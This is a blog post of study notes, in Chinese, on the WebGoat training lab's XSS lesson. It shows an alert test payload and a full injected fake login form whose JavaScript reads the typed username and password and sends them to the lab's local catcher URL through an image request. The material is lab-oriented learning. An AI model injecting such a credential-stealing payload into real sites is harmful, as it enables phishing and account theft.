• 【WebGoat笔记】 CrossSite Scripting(XSS)


    目标:

    伪造一个登陆界面,要求用户输入用户名和密码,将数据提交到http://localhost/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE

     

    解决步骤:

    首先:随意输入搜索内容,如:123.


    打开源代码,检测是否有未关闭的标签。由于这是一个入门级的练手任务,代码漏洞百出,这一层就不用考虑了。

    第二步:尝试在搜索栏中插入JavaScript代码,比如通用的:<script>alert("XSS!");</script>

    成功报出提示信息:

    值得注意的是,JS脚本语言的插入在我的机器上只能用IE实行,在chrome上则没有任何反应。可能是chrome所用脚本语言有所区别。

     

    第三步:构造代码,伪造一个登陆界面:

    <form><br><br><HR><H3>Thisfeature requires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"onclick="hack()"></form><br><br><HR> 
    其中,onclick="hack()"是用户点击登录之后的按钮行为,具体函数在随后构建。


    第四步:继续完善欺骗代码,构建JS函数,将获取的用户名和密码提交到相应的链接上。最后的输入代码如下:

    <script>functionhack(){alert("Had this been a real attack... Your credentials were juststolen. User Name="+document.forms[1].user.value+"Password="+document.forms[1].pass.value);var XSSImage=newImage();XSSImage.src="http://127.0.0.1:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" +document.forms[1].pass.value + "";}</script><form><br><br><HR><H3>This featurerequires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"onclick="hack()"></form><br><br><HR> 

    这样,当被欺骗的用户输入用户名和密码之后,将报出提示信息,并将用户名和密码发送到相应链接。

    webgoat的提示说,如果创建一个image:XSSImage=newImage(),并声明XSSImage.src=SOME_URL那么JavaScript会执行一个提交。对JS语言不熟,这个今后再研究。

  • 相关阅读:
    互操作
    Rx基础
    数据流块基础
    C# 一个帮您理解回调函数的例子(新手必看)
    C# 多线程之通过Timer开启线程的例子
    C# 利用委托事件进行窗体间的传值(新手必看)
    C#XML文件操作随笔
    C# 委托学习笔记
    c# 关于抓取网页源码后中文显示乱码的原因分析和解决方法
    c# 异步编程 使用回调函数例子
  • 原文地址:https://www.cnblogs.com/y0umer/p/3839115.html
Copyright © 2020-2023  润新知